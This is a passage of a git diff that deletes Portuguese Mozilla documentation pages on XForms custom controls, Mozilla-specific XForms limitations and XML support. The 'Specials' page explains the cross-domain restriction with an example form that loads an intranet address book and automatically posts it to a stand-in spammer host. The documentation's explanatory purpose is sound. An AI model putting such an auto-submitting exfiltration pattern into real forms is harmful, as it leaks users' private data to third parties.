-<ul><li> apresentação customizada - controles XForms como as realizadas no processador Mozilla XForms não lhe fornecem a aparência certa.
-</li><li> tipos de dados customizadas - controles Xforms existentes não estão aptos a trabalhar apropriamente seus tipos de dados
-</li><li> controles XForms avançados - você necessita que seus controles estejam aptos a fazer mais coisas que os controles XForms tradicionais
-</li><li> nova linguagem de hospedagem- você quer suportar XForms em linguagems de hospedagem diferentes de XHTML ou XUL
-</li></ul>
-<h4 id="Apresenta.C3.A7.C3.A3o_customizada"> Apresentação customizada </h4>
-<p>A extensão Mozilla XForms não pode antecipar todas as possibilidades de uso que vão ser envolvidas em aplicações e páginas web quando XForms amadurece e a base de usuários cresce. E com estas novas formas de usar mais e mais flexibilidade vai ser exigida dos controles. Introduzindo controles customizadas ao seu ambiente pode ser a solução que está procurando. Por exemplo, você pode estar querendo render imagens que estão sendo mantidos dentro de um documento de instancia ou querer mostrar um <code>trigger</code> deshabilitado quando seu nó se torna irrelevante em vez de não mostrá-lo (o atual comportamento padrão).
-</p><p>Toda apresentação de controle XForms possui seu próprio XBL binding. Em muitos casos valores diferentes fornecidos para os atributos <code>appearance</code> ou <code>mediatype</code> vão determinar qual XBL binding será usado para um controle XForms particular. Como mencionado na especificação, o atributo <code>appearance</code> pode ser usado para influenciar a aparência do controle mesmo que todas as outras condições permanecam constantes. Por exemplo, na extensão Mozilla XForms vamos render uma combobox widget ao <code>appearance='minimal'</code> num controle <code>select1</code>. Se o autor do formulário escolher um <code>appearance='compact'</code> neste controle, vamos desenhar uma listbox widget. Aqui é uma forma fragmentada do nosso arquivo .css para mostrar o tipo de regra CSS que usariamos para tal determinação.
-</p>
-<pre>xf|select1[appearance="compact"] {
- -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact');
-}
-</pre>
-<p>O atributo <code>mediatype</code> pode ser usado pelo autor do formulário para alinhar o tipo de apresentação com o tipo de data que o bound instance node contém. Por exemplo, se <code>mediatype='image/*'</code> então o usuário deve ver a imagen que os bytes representam em vez da sequência de bytes.
-</p>
-<pre>xf|output[mediatype^="image"] {
- -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyURI');
-}
-</pre>
-<h4 id="Tipos_de_dados_customizados"> Tipos de dados customizados </h4>
-<p>Se definir um novo tipo de dado esquemático ou usar tipo de data built-in e achar os controles XForms atuais insuficientes, então deve escrever um novo controle customizado. Por exemplo se tiver um nó de instância do tipo <code>xsd:date</code> e quiser que os dados sejam visualizados num formato local.
-</p><p>Em Mozilla, cada controle XForms ligado tem um atributo <code>typelist</code> de <code>mozType</code> que contém o espaço de nome da cadeia herdada dos tipo de dados que detectamos. O espaço de nome <code>mozType</code> é introduzido pela implementação de Mozilla XForms e suas URI é <code><a class=" external" href="http://www.mozilla.org/projects/xforms/2005/type">http://www.mozilla.org/projects/xforms/2005/type</a></code>. Por exemplo, se um controle é ligado a um nó do tipo <code>xsd:integer</code> e então o atributo <code>typelist</code> será <code><span>"http://www.w3.org/2001/XMLSchema#integer http://www.w3.org/2001/XMLSchema#decimal"</span></code>. Isto é porque <code>xsd:integer</code> é herdado do tipo de dado <code>xsd:decimal</code>. Recomendamos que use este atributo para criar a regra de ligação CSS para seu controle customizado. Isto lhe permite ligar seu controle customizado para o tipo de dado que está desejando e todo tipo derivado deste tipo desejado. Então se quiser um <code>input</code> ligado a um nó de instância do tipo <code>integer</code> (e todos os tipos derivados de <code>integer</code>), você usaria:
-</p>
-<pre>@namespace xf url(http://www.w3.org/2002/xforms);
-@namespace mozType url(http://www.mozilla.org/projects/xforms/2005/type);
-
-xf|input[mozType|typelist~="http://www.w3.org/2001/XMLSchema#integer"] {
- -moz-binding: url('chrome://xforms/content/input-xhtml.xml#xformswidget-input-integer');
-}
-</pre>
-<h4 id="Controles_XForms_Avan.C3.A7ados"> Controles XForms Avançados </h4>
-<p>Vão existir momentos em que precisa de um controle muito específico a sua tarefa mas também quer que funcione com modelos XForms e nós de instância como um controle XForms regular. A esspecificação XForms fornece uma bela maneira de realizar isto usando atributos ligados XForms (como <code>ref</code>, ou <code>nodeset</code>) no seu elemento de controle customizado. Porém, a implementação de Mozilla XForms atualmente não suporta esta aproximação. Mas existe um caminho para alcançr o mesmo resultado. Você pode pôr os controles dentro da sua ligação XBL. Note que deve assegurar que os controles XForms incorporados funcionam com o tipo de dados do nó de instância ao que seu controle está ligado. Para lhe dar uma ideía sobre o que estamos falando veja a seguir:
-</p>
-<pre>&lt;content&gt;
- &lt;xf:input xbl:inherits="ref=ref1" anonid="ref1"/&gt;
- &lt;xf:input xbl:inherits="ref=ref2" anonid="ref2"/&gt;
-&lt;/content&gt;
-
-&lt;implementation&gt;
- &lt;method name="refresh"&gt;
- &lt;body&gt;
- // Aqui devemos renovar o controle customizado.
- &lt;/body&gt;
- &lt;/method&gt;
-
- &lt;constructor&gt;
- // Devemos redirecionar chamadas do modo de inputs 'refresh' para controles customizados 'refresh'.
- var control = this;
- var refreshStub = function() {
- control.refresh();
- }
-
- this.ref1.refresh = refreshStub;
- this.ref2.refresh = refreshStub;
- &lt;/constructor&gt;
-
- &lt;property name="ref1" readonly="true"
- onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref1');"/&gt;
- &lt;property name="ref2" readonly="true"
- onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref2');"/&gt;
-&lt;/implementation&gt;
-</pre>
-<h4 id="Nova_linguagem_Host"> Nova linguagem Host </h4>
-<p>A implementação Mozilla XForms atualmente somente suporta XForms hospedados em documentos XHTML ou XUL. Se precisar XForms em outros tipos de documentos como SVG, MathML ou alguma outra marca de linguagem que Mozilla suporta, então precisa implementar controles XForms para o formato de documento desejado. A implementação XForms tem ligações básicas XBL para cada controle XForms. Vocè pode escrever ligações de implementação que vão herdar as ligações básicas. Por exemplo, cada implementação de controle <code>output</code> extende a ligação básica <code><span>xforms.xml#xformswidget-output-base</span></code>. As peças específicas XHTML de nossa implementação de <code>output</code> é mantido na liagação <code><span>xforms-xhtml.xml#xformswidget-output</span></code>. Se desenvolvedores como você quiserem fazer este tipo de trabalho heróico eão por favor contate os desenvolvedores do Mozilla XForms antes de iniciar. Esperamos poder ajudá-lo em evitar um monte de frustração e desespéro:).
-</p>
-<h3 id="Resumo"> Resumo </h3>
-<p>Os controles Mozilla XForms são largamente implementados usando XBL e as ligações são aplicados aos tags de controle individuais XForms via CSS. Assim sempre pode referir-scom nossas atuais e ao nosso source code para obter alguns grandes exemplos de como controles XForms são escritos. Isto também lhe permite estar por dentro das nossas atuais atualizações (muitas vezes o resultado de duras lições) e esperamos que o ajude a escrever seus próprios controles mais facilmente. Para iniciar, realmente só precisa saber a linguagem aonde quer usar XForms (como <a href="pt/XHTML">XHTML</a> ou <a href="pt/XUL">XUL</a>), alguns <a href="pt/XBL">XBL</a> e <a href="pt/JavaScript">JavaScript</a>, e a interface <a href="pt/XPCOM">XPCOM</a> que estamos mostrando.
-</p>
-<h3 id="Detalhes"> Detalhes </h3>
-<h4 id="Interfaces"> Interfaces </h4>
-<p>Esta secção descreve interfaces que deve conhecer. Existem dois grupos principais de interfaces -&gt; callback interfaces que precisam ser implementados pelos controles customizados e as interfaces que controles customizados podem usar para acessar a Mozilla XForms engine.
-</p>
-<h5 id="nsIXFormsUIWidget"> nsIXFormsUIWidget </h5>
-<p>Todo controle customizado deve implementar a interface <code>nsIXFormsUIWidget</code>. Esta interface é usada pelo modulo XForms para interagir com o controle básico. De acordo com as regras do XForms, por exemplo, quando o controle precisa ser atualizado, é chamado o método <code>refresh</code> pelo processador. Abaixo encontra-se a estrutura da interface. Como sempre por favor veja diretamente o source code para estar seguro que está usando a versão mais recente: {{ Source("extensions/xforms/nsIXFormsUIWidget.idl") }}.
-</p>
-<pre>interface nsIXFormsUIWidget : nsIDOMElement
-{
- /**
- * É chamada quando o controle deve ser atualizado para refletir o valor do nó ligado.
- */
- void refresh();
-
- /**
- * É chamado quando o foco é avançado sobre o elemento XForms.
- */
- boolean focus();
-
- /**
- * É chamado quando o controle deve ser desabilitado.
- * Isto realmente só se aplica ao elemento submetido.
- */
- void disable(in boolean disable);
-
- /**
- * É chamado para obter o valor atual do controle.
- */
- string getCurrentValue();
-}
-</pre>
-<p>Notas:
-</p>
-<ul><li> getCurrentValue() deve retornar o valor do controle como visto pelo usuário. O valor atual de um controle pode ser diferente do valor do nó ligado em casos onde @incremental='false'.
-</li><li> disable() é chamado pelo processador XForms para indicar a um elemento submetido que precisa desabilitar/habilitar devido ao começo/fim de um processo de submissão. Atualmente não tem nenhum sentido fora deste contexto.
-</li><li> focus() é usado pelo processador para comunicar ao controle que ele está recebendo foco através de uma das várias maneiras (p.ex. através de xf:setfocus action) e que o controle precisa assegurar que o widget apropriado está recebendo foco.
-</li></ul>
-<p>Com raras exceções seu controle precisa somente implementar a interface <code>nsIXFormsUIWidget</code>. Mas certos controles XForms precisam implementar interfaces adicionais. Tais elementos incluem <code>upload</code> e <code>case</code>.
-</p>
-<h5 id="nsIXFormsAccessors"> nsIXFormsAccessors </h5>
-<p>A interface <code>nsIXFormsAccessors</code> permite acessar o valor e o estado do nó de instância ao qual o controle está ligado (veja {{ Source("extensions/xforms/nsIXFormsAccessors.idl") }}). Interface atual é:
-</p>
-<pre>interface nsIXFormsAccessors : nsISupports
-{
- /**
- * Valor de retorno do nó de instância.
- */
- DOMString getValue();
-
- /**
- * Valor nominal do nó de instância.
- */
- void setValue(in DOMString value);
-
- /**
- * Retorna verdadeiro se o nó de instância é readonly como determinado pelo MDG.
- */
- boolean isReadonly();
-
- /**
- * Retorna verdadeiro se o nó de instância é relevante como determinado pelo MDG.
- */
- boolean isRelevant();
-
- /**
- * Retorna verdadeiro se o nó de instância é requerido como determinado pelo MDG.
- */
- boolean isRequired();
-
- /**
- * Retorna verdadeiro se o nó de instância é válido como determinado pelo MDG.
- */
- boolean isValid();
-
- /**
- * Retorna verdadeiro se o controle é ligado ao nó de instância.
- */
- boolean hasBoundNode();
-
- /**
- * Retorna o nó de instância ligado.
- */
- nsIDOMNode getBoundNode();
-
- /**
- * Setar o conteúdo do nó de instância. Se um ForceUpdate é verdadeiro então o
- * modelo XForms será reconstruído/recalculado/revalidado/renovado.
- */
- void setContent(in nsIDOMNode aNode, in boolean aForceUpdate);
-}
-</pre>
-<p>note: setContent() pode ser usado para colocar complexContent (mistura de texto e nós elementares) sob o nó ligado ao controle. Favor verificar os comentários no arquivo fonte .idl para maiores informações sobre como usar este método.
-</p>
-<h4 id="Liga.C3.A7.C3.B5es_XBL"> Ligações XBL </h4>
-<p>A maioria dos elementos de controle XForms tem no mínimo duas ligações aplicadas a si mesmas. Uma é a ligação básica que implementa o comportamento do núcleo do controle XForms. A outra é a ligação de impelmentação que adiciona a representação específica da linguagem do host do controle XForms. Um exemplo do mencionado é a ligação que usa um html:input como conteúdo anônimo de um elemento xforms:input quando este é hospedado num documento XHTML.
-</p><p>Nossa extenção XForms usa o seguinte formato para nomes de arquivos. O nome do arquivo onde são localizadas as ligações básicas de um controle é <code>controlfile.xml</code>. <code>controlfile-xhtml.xml</code> contém as ligações de implementação XHTML para o controle e <code>controlfile-xul.xml</code> contém as ligações de implementação quando este controle é hospedado num documento XUL. A seguinte lista mostra onde estão definidas as ligações básicas de nosso controle XForms:
-</p>
-<ul><li> <code>xforms.xml</code> - contém as ligações básicas para controles XForms <code>output</code>, <code>label</code>, <code>trigger</code>, <code>submit</code>, <code>case</code>, <code>message</code>, <code>hint</code>, <code>help</code>, <code>alert</code>, <code>upload</code> e <code>repeat</code> .
-</li><li> <code>input.xml</code> - contém as ligações básicas para controles XForms <code>input</code>, <code>secret</code> e <code>textarea</code>.
-</li><li> <code>select.xml</code> - contém as ligações básicas para controles XForms <code>select</code> e <code>select1</code> (exceto <code>minimal/default select1</code> que está hospedado no arquivo <code>select1.xml</code>)
-</li><li> <code>range.xml</code> - contém as ligações básicas para controles XForms <code>range</code>.
-</li></ul>
-<p><code>xforms.xml</code> também define as poucas ligações básicas comuns para todos os controles XForms. Estes são:
-</p>
-<ul><li> <code>xformswidget-general</code> - define propriedades utilitárias e métodos comuns para todos os controles XForms.
-</li><li> <code>xformswidget-accessors</code> - define os métodos que permitem às ligações de trabalhar com nós de instância ligados e com o próprio elemento XForms.
-</li><li> <code>xformswidget-base</code> - implementa interfaces <code>nsIXFormsUIWidgets</code>.
-</li></ul>
-<p>Você está livre em escolher qual tipo de ligação para seu controle customizado fornecerá à fundação. Normalmente será uma das ligações de implementação ou uma das básicas.
-</p>
-<h3 id="Exemplo"> Exemplo </h3>
-<p>Uma coleção de exemplos de controles customizados pode ser encontrada em <a href="pt/XForms/Custom_Controls_Examples">XForms:Custom Controls Examples</a>, e você também pode ver os blogs <a class="external" href="http://www.oreillynet.com/xml/blog/2006/07/understanding_xforms_customiza.html">"Compreendendo XForms: Customização"</a>.
-</p><p>Aqui está um exemplo completo que define um novo controle de saída que carrega seu valor como uma imagen. Ele está ligado a <code>&lt;xf:output mediatype="image/*"/&gt;</code> imitando o atual <a class="external" href="http://www.w3.org/TR/xforms11/#render-nontext">XForms 1.1 draft</a>:
-</p>
-<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml"
- xmlns:xf="http://www.w3.org/2002/xforms"&gt;
- &lt;head&gt;
- &lt;title&gt;Custom Image Control Sample&lt;/title&gt;
-
- &lt;bindings id="xformsBindings"
- xmlns="http://www.mozilla.org/xbl"
- xmlns:html="http://www.w3.org/1999/xhtml"&gt;
-
- &lt;binding id="output-image"
- extends="chrome://xforms/content/xforms.xml#xformswidget-base"&gt;
- &lt;content&gt;
- &lt;html:div&gt;
- &lt;html:img anonid="content"/&gt;
- &lt;/html:div&gt;
- &lt;/content&gt;
-
- &lt;implementation implements="nsIXFormsUIWidget"&gt;
- &lt;method name="refresh"&gt;
- &lt;body&gt;
- &lt;!--
- set the src attribute on the html:img to be the simpleContent
- of the instance node bound to this control
- --&gt;
- var img = document.getAnonymousElementByAttribute(this, "anonid", "content");
- img.setAttribute("src", this.stringValue);
- return true;
- &lt;/body&gt;
- &lt;/method&gt;
- &lt;/implementation&gt;
- &lt;/binding&gt;
- &lt;/bindings&gt;
-
- &lt;xf:model&gt;
- &lt;xf:instance xmlns=""&gt;
- &lt;data&gt;
- &lt;curimg&gt;&lt;/curimg&gt;
- &lt;img label="Firefox"&gt;http://www.mozilla.com/images/firefox-logo-64x64.png&lt;/img&gt;
- &lt;img label="Thunderbird"&gt;http://www.mozilla.com/images/thunderbird-logo-64x64.png&lt;/img&gt;
- &lt;img label="Bugzilla"&gt;http://www.mozilla.org/images/p-bugz.gif&lt;/img&gt;
- &lt;img label="Mozilla"&gt;http://www.mozilla.org/images/mozhead-80x64.gif&lt;/img&gt;
- &lt;/data&gt;
- &lt;/xf:instance&gt;
- &lt;/xf:model&gt;
-
- &lt;style type="text/css"&gt;
- @namespace xf url(http://www.w3.org/2002/xforms);
-
- xf|output[mediatype="image/*"] {
- -moz-binding: url('#output-image');
- }
- &lt;/style&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;h1&gt;Custom Control Sample&lt;/h1&gt;
-
- &lt;xf:select1 ref="curimg"&gt;
- &lt;xf:label&gt;Select image to display: &lt;/xf:label&gt;
- &lt;xf:itemset nodeset="../img"&gt;
- &lt;xf:label ref="@label"/&gt;
- &lt;xf:value ref="."/&gt;
- &lt;/xf:itemset&gt;
- &lt;/xf:select1&gt;
-
- &lt;xf:output ref="curimg" mediatype="image/*"/&gt;
-
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-<p><span>Categorias</span>
-</p><p><span>Interwiki links de idiomas</span><a href="pt/Pt-br/XForms/Controles_Customizados">pt-br:XForms:Controles Customizados</a>
-</p>{{ languages( { "en": "en/XForms/Custom_Controls" } ) }}
diff --git a/files/pt-pt/orphaned/xforms/index.html b/files/pt-pt/orphaned/xforms/index.html
deleted file mode 100644
index 4de5b88992..0000000000
--- a/files/pt-pt/orphaned/xforms/index.html
+++ /dev/null
@@ -1,69 +0,0 @@
----
-title: XForms
-slug: orphaned/XForms
-tags:
- - XForms
-original_slug: XForms
----
-<p>
-</p>
-<div class="callout-box"><b><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials</a></b><br>
-An online book giving you a guided tour of XForms.</div>
-<p><br>
-</p>
-<div><b>XForms</b> is the future of online forms as envisioned by the W3C. Drawing on other W3C standards like <a href="pt/XML_Schema">XML Schema</a>, <a href="pt/XPath">XPath</a>, and <a href="pt/XML_Events">XML Events</a>, XForms tries to address some of the limitations with the current <a href="pt/HTML">HTML</a> forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit <a href="pt/XML">XML</a> data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a <a class="external" href="http://www.w3.org/MarkUp/Forms/">W3C specification</a>.</div>
-<div class="callout-box"><b><a class="external" href="http://en.wikibooks.org/wiki/XForms">XForms Tutorial and Cookbook</a></b><br>
-XForms in Wikibook Format - Over 50 examples tested with FireFox.</div>
-<div>
-<p>XForms support can be added to Firefox and SeaMonkey by installing the <a class="external" href="http://www.mozilla.org/projects/xforms">Mozilla XForms Extension</a>.
-</p>
-</div>
-<table class="topicpage-table">
-<tbody><tr><td>
-<h4 id="Documentation" name="Documentation"> <a>Documentation</a> </h4>
-<dl><dt> <a href="pt/XForms/Form_Troubleshooting">Troubleshooting tips for XForms</a>
-</dt><dd> <small>A small collection of tips for troubleshooting common problems with XForms forms.</small>
-</dd></dl>
-<dl><dt> <a href="pt/XForms/Mozilla_XForms_Specials">Mozilla XForms specials</a>
-</dt><dd> <small>Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification.</small>
-</dd></dl>
-<dl><dt> <a href="pt/XForms/Custom_Controls">XForms custom controls</a>
-</dt><dd> <small>Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG <code>input</code> control.</small>
-</dd></dl>
-<dl><dt> <a href="pt/XForms/User_preferences">XForms user preferences</a>
-</dt><dd> <small>A description of the <code>about:config</code> variables that XForms uses.</small>
-</dd></dl>
-<dl><dt> <a href="pt/XForms/API_Reference">XForms API reference</a>
-</dt><dd> <small>XForms interfaces documentation.</small>
-</dd></dl>
-<dl><dt> <a href="pt/XForms/User_Interface_Elements">XForms UI Elements reference</a>
-</dt><dd> <small>XForms user interface elements documentation.</small>
-</dd></dl>
-<p><span class="alllinks"><a>View All...</a></span>
-</p>
-</td>
-<td>
-<h4 id="Community" name="Community"> Community </h4>
-<ul><li> View Mozilla forums...
-</li></ul>
-<p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}
-</p>
-<ul><li> <a class="link-irc" href="irc://irc.mozilla.org/xforms">#xforms channel on irc.mozilla.org</a>
-</li><li> <a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">W3C Forms mailing list</a>
-</li><li> <a class="external" href="http://beaufour.dk/blog">XForms development weblog</a>
-</li><li> <a href="pt/XForms/Community">Other community links...</a>
-</li></ul>
-<h4 id="Tools" name="Tools"> Tools </h4>
-<ul><li> <a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a>
-</li><li> <a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a>
-</li></ul>
-<p><span class="alllinks"><a>View All...</a></span>
-</p>
-<h4 id="Related_Topics" name="Related_Topics"> Related Topics </h4>
-<dl><dd> <a href="pt/Extensions">Extensions</a>, <a href="pt/HTML">HTML</a>, <a href="pt/XHTML">XHTML</a>, <a href="pt/XML">XML</a>, <a href="pt/XPath">XPath</a>
-</dd></dl>
-</td></tr></tbody></table>
-<p><span class="comment">Categories</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p><p><br>
-</p>{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }}
diff --git a/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html b/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html
deleted file mode 100644
index 895d600822..0000000000
--- a/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Mozilla XForms Specials
-slug: orphaned/XForms_especiais_para_Mozilla
-tags:
- - XForms
-original_slug: XForms_especiais_para_Mozilla
----
-<p> </p>
-<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o"> Introdução</h3>
-<p>Este artigo fornece um resumo onde <i>Extensões Mozilla XForms </i> desvia <i>XForms 1.0 Especificação</i> oficial <a class="external" href="http://www.w3.org/TR/xforms">. Este artigo cobre tanto limitações nas extensões como extensões customizadas.
-</a></p><a class="external" href="http://www.w3.org/TR/xforms">
-<h3 id="Limita.C3.A7.C3.B5es" name="Limita.C3.A7.C3.B5es"> Limitações </h3>
-<h4 id="Repeti.C3.A7.C3.A3o_usando_atributos" name="Repeti.C3.A7.C3.A3o_usando_atributos"> Repetição usando atributos </h4>
-</a><p><a class="external" href="http://www.w3.org/TR/xforms">De acordo com a especificação </a><a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Criando estruturas de repetição através de atributos"</a>, isto é <strong>parcialmente</strong> suportado.
-</p><p>(limitação acompanhada no {{ Bug(280368) }})
-</p>
-<h4 id="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul" name="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul"> Mistura de Repetição e <code>table</code> ou <code>ul</code> </h4>
-<p>Não é possível misturar repetições tanto com <code>table</code> ou <code>ul</code>. Isto significa que <strong>não</strong> é possível fazer o seguinte:
-</p>
-<div class="warning">
-<pre>&lt;table&gt;
- &lt;xf:repeat ...&gt;
- &lt;tr&gt; ... &lt;/tr&gt;
- &lt;/xf:repeat&gt;
-&lt;/table&gt;
-</pre>
-</div>
-<p>ou
-</p>
-<div class="warning">
-<pre>&lt;ul&gt;
- &lt;xf:repeat ...&gt;
- &lt;li&gt; ... &lt;/li&gt;
- &lt;/xf:repeat&gt;
-&lt;/ul&gt;
-</pre>
-</div>
-<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> determina que a mistura com <code>table</code> provávelmente nunca funcionará. A mistura com <code>ul</code> pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}).
-</p>
-<h4 id="Suporte_a_pseudo_classes" name="Suporte_a_pseudo_classes"> Suporte a pseudo classes </h4>
-<p>Atualmente suportamos todas as pseudo classes em XForms (<code>:enabled, :disabled</code>, etc. <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">), <b>exceto</b> para <code>:read-only</code> e <code>:read-write</code>, por causa de comportamento não especificado destes para (X)</a><a href="pt/HTML">HTML</a>. No momento precisa usar <code>:-moz-read-only</code> e <code>:-moz-read-write</code>.
-</p><p>(limitação acompanhada no {{ Bug(313111) }})
-</p>
-<h4 id="Suporte_a_pseudo_elemento" name="Suporte_a_pseudo_elemento"> Suporte a pseudo elemento </h4>
-<p><b>Não</b> existe suporte para os pseudo elementos (<code>::value, ::repeat-item, e ::repeat-index</code> <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">). Você deve usar as seguintes classes normais:
-</a></p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">
-<ul><li> <code>xf-value</code>
-</li><li> <code>xf-repeat-item</code>
-</li><li> <code>xf-repeat-index</code>
-</li></ul>
-<p>Por exemplo, para direcionar o elemento valor de um controle <code>input</code> use:
-</p>
-<pre>@namespace xf url("http://www.w3.org/2002/xforms");
-xf|input .xf-value {
- ...
-}
-</pre>
-</a><p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">Os pseudo elementos são definidos na <i></i></a><i><a href="pt/CSS">CSS</a>3 Especificação básica de usuário </i> <a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">.
-</a></p><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">(limitação acompanhada no {{ Bug(271724) }})
-</a></p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">
-<h3 id="Extens.C3.B5es" name="Extens.C3.B5es"> Extensões </h3>
-<h4 id="Enumerando_Inst.C3.A2ncias" name="Enumerando_Inst.C3.A2ncias"> Enumerando Instâncias </h4>
-</a><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">O </a><a href="pt/NsIXFormsModelElement">nsIXFormsModelElement</a> standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No <i>Extensões Mozilla XForms</i> adicionamos a função <code>getInstanceDocuments()</code> ao <code>model</code> que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no <a href="pt/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.
-</p>
-<h4 id="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados" name="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados"> Chegando ao elemento de instância a partir de um nó de dados </h4>
-<p>Na especificação XForms 1.0 não existe caminho de chegar ao elemento <code>instance</code> desde um nó de dados de instância. Adicionamos uma função através de chamado <code>getFeature()</code> em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se <code>instanceNode</code> é um nó num documento de instância, então:
-</p>
-<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
-</pre>
-<p>retornará elemento <code>&lt;instance&gt;</code> (no documento principal) ao que o nó pertence.
-</p>
-<h4 id="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia" name="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia"> Chegando ao documento de instância através do elemento de instância </h4>
-<p>Pela especificação XForms 1.0 deve passar pelo elemento <code>model</code> para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento <code>instance</code>, então nós adicionamos uma função <code>getInstanceDocument()</code> diretamente no elemento <code>instance</code> como um atalho. Isso está documentado em <a href="pt/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.
-</p>
-<h4 id="Interface_de_controle_customizada" name="Interface_de_controle_customizada"> Interface de controle customizada </h4>
-<p>Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem <i>controles customizados</i>. Isto envolve a exposição de algumas funcionalidades (<i>script</i>) em todos nossos controles, como <code>output</code>, <code>input</code>, etc. e permitindo à interface de usuário ser representada em <a href="pt/XBL">XBL</a>. Mais informação pode ser encontrada em <a href="pt/Controles_Customizados">Controles Customizados</a>.
-</p>
-<h3 id="Misc" name="Misc">Miscelânea</h3>
-<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Submissão de Domínio Cruzado</h4>
-<p>Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio <u>whitelist</u> pode ser encontrado em <em>Release Notes</em> <a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12"></a></p>
-<p>A checagem de domínio cruzado também inclui formulários carregados de <code><a class=" external" rel="freelink">file://</a></code>. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um <u>"whitelisting"</u> de arquivos locais automático.</p>
-<p>Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:</p>
-<pre>&lt;xforms:model&gt;
- &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
- &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
- method="post"/&gt;
- &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
-&lt;/xforms:model&gt;
-</pre>
-<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}</p>
diff --git a/files/pt-pt/orphaned/xml_no_mozilla/index.html b/files/pt-pt/orphaned/xml_no_mozilla/index.html
deleted file mode 100644
index 37d06fdbe2..0000000000
--- a/files/pt-pt/orphaned/xml_no_mozilla/index.html
+++ /dev/null
@@ -1,237 +0,0 @@
----
-title: XML no Mozilla
-slug: orphaned/XML_no_Mozilla
-tags:
- - PrecisaDeAtualização
- - PrecisaDeRevisãoTécnica
- - Todas_as_Categorias
- - XML
-original_slug: XML_no_Mozilla
----
-<p>
-</p><p>O Mozilla tem amplo suporte ao <a href="pt/XML">XML</a>. Várias Recomendações World Wide Web Consortium (<a class="external" href="http://w3c.org/">W3C</a>) e esboços de especificações da família XML são suportados, assim como outras tecnologias relacionadas.
-</p>
-<div class="note">
-<p>Esta página está desatualizada. Por favor ajude atualizando-a com informações atuais.
-</p>
-</div>
-<h3 id="Recomenda.C3.A7.C3.B5es_suportadas_pelo_n.C3.BAcleo_XML_W3C" name="Recomenda.C3.A7.C3.B5es_suportadas_pelo_n.C3.BAcleo_XML_W3C"> Recomendações suportadas pelo núcleo XML W3C </h3>
